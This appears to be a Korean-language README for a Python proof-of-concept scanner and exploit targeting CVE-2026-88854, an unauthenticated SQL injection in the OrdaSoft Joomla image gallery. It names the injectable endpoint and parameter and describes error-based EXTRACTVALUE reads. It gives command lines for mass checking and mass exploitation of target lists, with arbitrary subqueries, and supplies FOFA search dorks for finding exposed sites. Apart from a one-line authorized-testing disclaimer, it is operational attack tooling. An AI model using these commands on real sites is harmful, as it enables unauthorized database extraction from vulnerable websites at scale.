
Python 3 PoC 스캐너 및 CVE-2026-88854 익스플로잇으로, OrdaSoft Joomla Gallery의 인증되지 않은 SQL 인젝션을 대상으로 하며 대량 검사 및 EXTRACTVALUE 데이터 읽기 모드를 제공합니다.
Joomla용 OrdaSoft OS Responsive Image Gallery의 **CVE-2026-88854**에 대한 Python 3 PoC 스캐너/익스플로잇.
| 구성 요소 | com_osgallery, com_osgallery_light |
| 영향 받는 버전 | 1.0.0 – 6.2.6 |
| 수정된 버전 | 6.2.7+ |
| CVSS 4.0 | 9.3 (치명적) |
| 인증 | 없음 (공개 mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax()는 $input->getVar()를 통해 textsearch / searchText를 읽으며, 이는 적절한 SQL 이스케이프를 적용하지 않습니다. 해당 값은 LIKE 절에 연결됩니다. 인증되지 않은 방문자는 UNION 스타일 인젝션을 사용하여 데이터베이스 내용을 읽을 수 있습니다.
일반적인 요청 표면:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
레거시 설치에서는 작업 이름 searhResult(오타)를 사용할 수 있습니다.
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| 파일 | 내용 |
|---|---|
cve_2026_88854_results.jsonl | 대상별 JSON |
hits.txt | 후보 URL (exploitable_candidate) |
status 값 (check)audit_scan.py)대량 check 후 audit_scan.py를 실행하여 관리자 매니페스트를 다시 가져오고 대상을 분류합니다:
갤러리 버전은 Joomla extension version= 속성이 아니라 administrator/components/com_osgallery/osgallery.xml의 <version> 요소에서 읽습니다.
EXTRACTVALUE를 사용합니다; MariaDB/Postgres, 오류 비활성화 또는 WAF는 CVE가 적용되더라도 유출이 없을 수 있습니다.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
로컬 대상 목록 및 실행 산출물(list.txt, fofa*.csv, *.jsonl, hits*.txt, …)은 .gitignore에 있으며 커밋해서는 안 됩니다.
승인된 보안 테스트 전용입니다. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.
| 옵션 | 설명 |
|---|
-u, --url | 단일 대상 기본 URL (하위 디렉터리 설치: 경로 포함) |
--list | 대상 목록 파일 (한 줄에 URL 하나) |
--mode | check 또는 exploit |
--subquery | EXTRACTVALUE 내부의 SQL (익스플로잇 모드, 기본값 SELECT VERSION()) |
--threads, -j | 대량 동시성 (기본값 20) |
--timeout | HTTP 타임아웃 초 (기본값 20) |
--proxy | HTTP(S) 프록시 URL |
--output | JSONL 결과 (기본값 cve_2026_88854_results.jsonl) |
--vuln-list | check → hits.txt; exploit → exploited.txt |
--quiet, -q | 진행 출력 최소화 |
| 상태 | 의미 |
|---|
sqli_confirmed | 오류/시간 기반 SQLi 또는 검증된 EXTRACTVALUE 유출 |
likely_vulnerable_version | 매니페스트 버전 ≤ 6.2.6 + 검색 엔드포인트 |
likely_component | 갤러리 감지됨, 버전 알 수 없음 |
boolean_inconclusive | 응답 길이 차이만 존재 (종종 WAF); 확인된 것으로 간주되지 않음 |
patched_version | 매니페스트 버전 > 6.2.6 |
component_no_search_endpoint | 구성 요소 존재, 검색 작업에 도달할 수 없음 |
no_component | com_osgallery 감지되지 않음 |
| 파일 | 내용 |
|---|
hits_version_lte_626.txt | 매니페스트 갤러리 버전 ≤ 6.2.6 |
hits_component_endpoint.txt | 갤러리 + 엔드포인트, 버전 읽을 수 없음 |
hits_patched.txt | 매니페스트 > 6.2.6 |
fofa_stale.txt | 구성 요소 없음 (오래된 FOFA 행) |
cve_2026_88854_audit.jsonl | 보강된 JSONL |